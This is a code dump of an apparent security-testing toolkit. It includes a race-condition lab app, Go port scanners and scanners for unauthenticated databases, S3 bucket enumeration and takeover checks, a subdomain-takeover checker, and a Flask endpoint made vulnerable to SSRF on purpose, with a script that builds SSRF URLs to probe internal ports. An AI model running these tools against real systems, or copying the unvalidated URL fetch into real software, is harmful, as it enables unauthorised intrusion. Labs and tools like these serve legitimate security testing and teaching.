| 118 | USE_L10N = True 119 | 120 | USE_TZ = True 121 | 122 | 123 | # Static files (CSS, JavaScript, Images) 124 | # https://docs.djangoproject.com/en/3.1/howto/static-files/ 125 | 126 | STATIC_URL = '/static/' 127 | STATIC_ROOT = os.path.join(BASE_DIR, 'static') 128 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/project/project/urls.py: -------------------------------------------------------------------------------- 1 | """project URL Configuration 2 | 3 | The `urlpatterns` list routes URLs to views. For more information please see: 4 | https://docs.djangoproject.com/en/3.1/topics/http/urls/ 5 | Examples: 6 | Function views 7 | 1. Add an import: from my_app import views 8 | 2. Add a URL to urlpatterns: path('', views.home, name='home') 9 | Class-based views 10 | 1. Add an import: from other_app.views import Home 11 | 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') 12 | Including another URLconf 13 | 1. Import the include() function: from django.urls import include, path 14 | 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) 15 | """ 16 | from django.contrib import admin 17 | from django.urls import include, path 18 | 19 | urlpatterns = [ 20 | path('admin/', admin.site.urls), 21 | path('demo/', include('demo.urls')), 22 | ] 23 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/project/project/wsgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | WSGI config for project project. 3 | 4 | It exposes the WSGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/3.1/howto/deployment/wsgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.wsgi import get_wsgi_application 13 | 14 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'project.settings') 15 | 16 | application = get_wsgi_application() 17 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/project/requirements.txt: -------------------------------------------------------------------------------- 1 | asgiref==3.3.4 2 | django==3.2.1 3 | gunicorn==20.0.4 4 | mysqlclient==2.0.3 5 | pytz==2020.5 6 | sqlparse==0.4.1 7 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/project/scripts/entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -e 3 | 4 | 5 | python scripts/wait_for_mysql.py 6 | python manage.py makemigrations 7 | python manage.py migrate 8 | python manage.py collectstatic --noinput 9 | gunicorn project.wsgi:application --workers $GUNICORN_WORKERS --bind 0.0.0.0:8000 10 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/project/scripts/wait_for_mysql.py: -------------------------------------------------------------------------------- 1 | # /usr/bin/env python3 2 | 3 | import os 4 | from time import sleep 5 | 6 | from MySQLdb import _mysql 7 | from MySQLdb._exceptions import OperationalError 8 | 9 | NUM_TRIES = 100 10 | POLL_INTERVAL = 5 11 | 12 | if __name__ == "__main__": 13 | while NUM_TRIES: 14 | try: 15 | print(f"Waiting for MySQL for {POLL_INTERVAL} seconds ({NUM_TRIES} tries remaining)") 16 | _mysql.connect( 17 | host=os.environ["MYSQL_HOST"], 18 | user=os.environ["MYSQL_USER"], 19 | passwd=os.environ["MYSQL_PASSWORD"], 20 | db=os.environ["MYSQL_DATABASE"], 21 | ) 22 | print("MySQL is now ready.") 23 | exit(0) 24 | except OperationalError: 25 | sleep(POLL_INTERVAL) 26 | NUM_TRIES -= 1 27 | print("Failed to wait for MySQL.") 28 | exit(1) 29 | -------------------------------------------------------------------------------- /recon/arvan/cdn_finder/cdn_finder.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "log" 7 | "net/http" 8 | ) 9 | 10 | func HttpGet(url string) { 11 | req, err := http.NewRequest("GET", url, nil) 12 | if err != nil { 13 | panic(err) 14 | } 15 | client := new(http.Client) 16 | response, err := client.Do(req) 17 | if err != nil { 18 | log.Fatal(err) 19 | } 20 | if response.Header.Get("ar-request-id") != "" { 21 | fmt.Println("[+++] This site use arvancloud cdn.") 22 | } 23 | } 24 | func main() { 25 | domain := flag.String("domain", "", "Please add your domain address for scanning ...") 26 | flag.Parse() 27 | flag.VisitAll(func(f *flag.Flag) { 28 | ipValue := f.Value.String() 29 | if ipValue == "" { 30 | log.Fatal("Error : please add domain address") 31 | } 32 | }) 33 | 34 | HttpGet(*domain) 35 | } 36 | -------------------------------------------------------------------------------- /recon/arvan/s3_bucket_enum/ar_s3_enum.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "io/ioutil" 6 | "log" 7 | "net/http" 8 | ) 9 | 10 | func GetXML(url string) ([]byte, error) { 11 | resp, err := http.Get(url) 12 | if err != nil { 13 | return []byte{}, err 14 | } 15 | defer resp.Body.Close() 16 | if resp.StatusCode != http.StatusOK { 17 | return []byte{}, fmt.Errorf("Status error") 18 | } 19 | data, err := ioutil.ReadAll(resp.Body) 20 | if err != nil { 21 | return []byte{}, fmt.Errorf("data error") 22 | } 23 | return data, nil 24 | } 25 | 26 | func main() { 27 | const url = "https://s3.ir-thr-at1.arvanstorage.com/" 28 | 29 | var wordlist = []string{ 30 | "google", 31 | "qwe", 32 | "ada", 33 | } 34 | for _, word := range wordlist { 35 | newUrl := url + word 36 | fmt.Println("[+++] URL is : ", newUrl) 37 | if xmlByte, err := GetXML(newUrl); err != nil { 38 | log.Printf("Failed to get xml %v", err) 39 | } else { 40 | fmt.Println(string(xmlByte)) 41 | } 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /recon/portscan/portscanslow.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "log" 7 | "net" 8 | ) 9 | 10 | func main() { 11 | 12 | ip := flag.String("ip", "", "Please add your ip address for scanning ...") 13 | flag.Parse() 14 | flag.VisitAll(func(f *flag.Flag) { 15 | ipValue := f.Value.String() 16 | if ipValue == "" { 17 | log.Fatal("Error : please add ip address") 18 | } 19 | }) 20 | ports := []string{ 21 | "21", "22", "25", "80", "2100", "8080", "8090", "8990", 22 | } 23 | for _, p := range ports { 24 | address := *ip + ":" + p 25 | connection, err := net.Dial("tcp", address) 26 | if err == nil { 27 | fmt.Println("[+] Connected", connection.RemoteAddr().String()) 28 | } else { 29 | fmt.Println("[-] Port " + p + " Closed") 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /recon/portscanfast/portscanfast.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "log" 7 | "net" 8 | "strconv" 9 | "sync" 10 | ) 11 | 12 | func PortScan(ip string, port string, wg *sync.WaitGroup) { 13 | defer wg.Done() 14 | address := ip + ":" + port 15 | connection, err := net.Dial("tcp", address) 16 | if err == nil { 17 | fmt.Println("[+] Connected", connection.RemoteAddr().String()) 18 | } else { 19 | fmt.Println("[-] Port " + port + " Closed") 20 | } 21 | } 22 | 23 | func main() { 24 | ip := flag.String("ip", "", "Please add your ip address for scanning ...") 25 | flag.Parse() 26 | flag.VisitAll(func(f *flag.Flag) { 27 | ipValue := f.Value.String() 28 | if ipValue == "" { 29 | log.Fatal("Error : please add ip address") 30 | } 31 | }) 32 | 33 | var ptr []int 34 | ptrStr := []string{} 35 | allP := make([]int, 65536) 36 | for p := range allP { 37 | ptr = append(ptr, p) 38 | } 39 | for i := range ptr { 40 | n := ptr[i] 41 | text := strconv.Itoa(n) 42 | ptrStr = append(ptrStr, text) 43 | } 44 | var wg sync.WaitGroup 45 | for _, p := range ptrStr { 46 | wg.Add(1) 47 | go PortScan(*ip, p, &wg) 48 | } 49 | wg.Wait() 50 | } 51 | -------------------------------------------------------------------------------- /recon/portscannoauthdb/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "log" 7 | "net" 8 | "sync" 9 | ) 10 | 11 | // MongoDb 12 | // Redis 13 | // Memcatch 14 | // jenkins 15 | // hood Hbase 16 | // Elasticsearch 17 | // Casandra db 18 | 19 | func PortScan(ip string, port string, wg *sync.WaitGroup) { 20 | defer wg.Done() 21 | address := ip + ":" + port 22 | connection, err := net.Dial("tcp", address) 23 | if err == nil { 24 | fmt.Println("[+] Connected", connection.RemoteAddr().String()) 25 | } else { 26 | fmt.Println("[-] Port " + port + " Closed") 27 | } 28 | } 29 | 30 | func main() { 31 | ip := flag.String("ip", "", "Please add your ip address for scanning ...") 32 | flag.Parse() 33 | flag.VisitAll(func(f *flag.Flag) { 34 | ipValue := f.Value.String() 35 | if ipValue == "" { 36 | log.Fatal("Error : please add ip address") 37 | } 38 | }) 39 | ports := []string{ 40 | "27017", "6379", "11211", "5984", "8080", "80", "2003", "50470", "8020", "9000", "9200", 41 | } 42 | 43 | var wg sync.WaitGroup 44 | for _, port := range ports { 45 | wg.Add(1) 46 | go PortScan(*ip, port, &wg) 47 | } 48 | wg.Wait() 49 | } 50 | -------------------------------------------------------------------------------- /s3bucket_takeover/README.md: -------------------------------------------------------------------------------- 1 | 2 | Download: 3 | 4 | https://s3.ir-thr-at1.arvanstorage.com/adsad/ravro.exe 5 | 6 | -------------------------------------------------------------------------------- /s3bucket_takeover/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "io/ioutil" 6 | "log" 7 | "mvdan.cc/xurls/v2" 8 | "net/http" 9 | "os" 10 | "strings" 11 | ) 12 | 13 | func OpenFile() string { 14 | 15 | jsonFile, err := os.Open("README.md") 16 | if err != nil { 17 | log.Fatalln(err) 18 | } 19 | defer func(jsonFile *os.File) { 20 | err := jsonFile.Close() 21 | if err != nil { 22 | log.Fatal(err) 23 | } 24 | }(jsonFile) 25 | byteValue, _ := ioutil.ReadAll(jsonFile) 26 | 27 | return string(byteValue) 28 | 29 | } 30 | 31 | func GetXML(url string) (string, error) { 32 | resp, err := http.Get(url) 33 | if err != nil { 34 | return "", err 35 | } 36 | defer resp.Body.Close() 37 | data, err := ioutil.ReadAll(resp.Body) 38 | if err != nil { 39 | return "", fmt.Errorf("data error") 40 | } 41 | return string(data), nil 42 | } 43 | 44 | func main() { 45 | const pattern = "s3.ir-thr-at1.arvanstorage.com" 46 | fileData := OpenFile() 47 | rxStrict := xurls.Strict() 48 | out := rxStrict.FindAllString(fileData, -1) 49 | for _, value := range out { 50 | status := strings.Contains(value, pattern) 51 | if status { 52 | xmlData, _ := GetXML(value) 53 | if xmlData != "" { 54 | checkBucket := strings.Contains(xmlData, "NoSuchBucket") 55 | if checkBucket { 56 | fmt.Println("[++++] Potential S3 Bucket Take Over") 57 | } 58 | 59 | } 60 | } 61 | 62 | } 63 | 64 | } 65 | -------------------------------------------------------------------------------- /ssrf/example/service.py: -------------------------------------------------------------------------------- 1 | ## Usage : python2 service.py 2 | import socket 3 | import BaseHTTPServer 4 | from SimpleHTTPServer import SimpleHTTPRequestHandler 5 | 6 | # Announce the IP address and port we will serve on 7 | port = 8000 8 | print("Serving on %s:%s") % (socket.gethostbyname(socket.getfqdn()), port) 9 | 10 | # Start a server to accept traffic 11 | addr = ("127.0.0.1", port) 12 | server = BaseHTTPServer.HTTPServer(addr, SimpleHTTPRequestHandler) 13 | server.serve_forever() 14 | -------------------------------------------------------------------------------- /ssrf/example/ssrf.py: -------------------------------------------------------------------------------- 1 | # Usage: python3 ssrf.py 2 | from flask import Flask, abort, request 3 | import json 4 | import re 5 | import subprocess 6 | import requests 7 | 8 | app = Flask(__name__) 9 | 10 | @app.route("/") 11 | def hello(): 12 | return "SSRF Example!" 13 | 14 | @app.route("/ssrf", methods=['GET']) 15 | def ssrf1(): 16 | data = request.values 17 | res = requests.get(data.get('url')) 18 | return res.content 19 | 20 | 21 | if __name__ == '__main__': 22 | app.run(host='0.0.0.0', port=5000, debug=True) 23 | -------------------------------------------------------------------------------- /ssrf/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "io/ioutil" 6 | "log" 7 | "net/http" 8 | "strconv" 9 | ) 10 | 11 | func HttpGet(url string) string { 12 | req, err := http.NewRequest("GET", url, nil) 13 | if err != nil { 14 | panic(err) 15 | } 16 | client := new(http.Client) 17 | response, err := client.Do(req) 18 | if err != nil { 19 | log.Fatal(err) 20 | } 21 | body, err := ioutil.ReadAll(response.Body) 22 | if err != nil { 23 | log.Fatal(err) 24 | } 25 | return string(body) 26 | } 27 | 28 | func main() { 29 | 30 | var ptr []int 31 | ptrStr := []string{} 32 | allP := make([]int, 65536) 33 | for p := range allP { 34 | ptr = append(ptr, p) 35 | } 36 | for i := range ptr { 37 | n := ptr[i] 38 | text := strconv.Itoa(n) 39 | ptrStr = append(ptrStr, text) 40 | } 41 | 42 | ports := []string{ 43 | "21", "22", "23", "8000", "8090", 44 | } 45 | for _, p := range ports { 46 | url := fmt.Sprintf("http://192.168.0.102:5000/ssrf?url=http://127.0.0.1:%s", p) 47 | //fmt.Println(HttpGet(url)) 48 | fmt.Println(url) 49 | } 50 | 51 | } 52 | -------------------------------------------------------------------------------- /subdomain_takeover/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "github.com/miekg/dns" 7 | "io/ioutil" 8 | "log" 9 | "net/http" 10 | "strings" 11 | ) 12 | 13 | func HttpGet(url string) string { 14 | req, err := http.NewRequest("GET", url, nil) 15 | if err != nil { 16 | panic(err) 17 | } 18 | client := new(http.Client) 19 | response, err := client.Do(req) 20 | if err != nil { 21 | log.Fatal(err) 22 | } 23 | body, err := ioutil.ReadAll(response.Body) 24 | if err != nil { 25 | log.Fatal(err) 26 | } 27 | return string(body) 28 | } 29 | 30 | func LookUpCNAME(domain string) ([]string, error) { 31 | var m dns.Msg 32 | var cnames []string 33 | m.SetQuestion(dns.Fqdn(domain), dns.TypeCNAME) 34 | in, err := dns.Exchange(&m, "8.8.8.8:53") 35 | if err != nil { 36 | return cnames, err 37 | } 38 | if len(in.Answer) < 1 { 39 | return cnames, errors.New("No Answer") 40 | } 41 | for _, answer := range in.Answer { 42 | if c, ok := answer.(*dns.CNAME); ok { 43 | cnames = append(cnames, c.Target) 44 | } 45 | } 46 | return cnames, nil 47 | } 48 | 49 | func main() { 50 | 51 | out, err := LookUpCNAME("testforlive.ravro.ir") 52 | if err != nil { 53 | log.Fatal(err) 54 | } 55 | for _, data := range out { 56 | data = strings.Replace(data, "com.", "com", -1) 57 | url := fmt.Sprintf("https://%s", data) 58 | htmlData := HttpGet(url) 59 | status := strings.Contains(htmlData, "There isn't a GitHub Pages site here.") 60 | if status { 61 | fmt.Println("[++++] Potential github sub domain take over") 62 | } else { 63 | fmt.Println("[----] There isn't github sub domain take over") 64 | } 65 | 66 | } 67 | 68 | } 69 | --------------------------------------------------------------------------------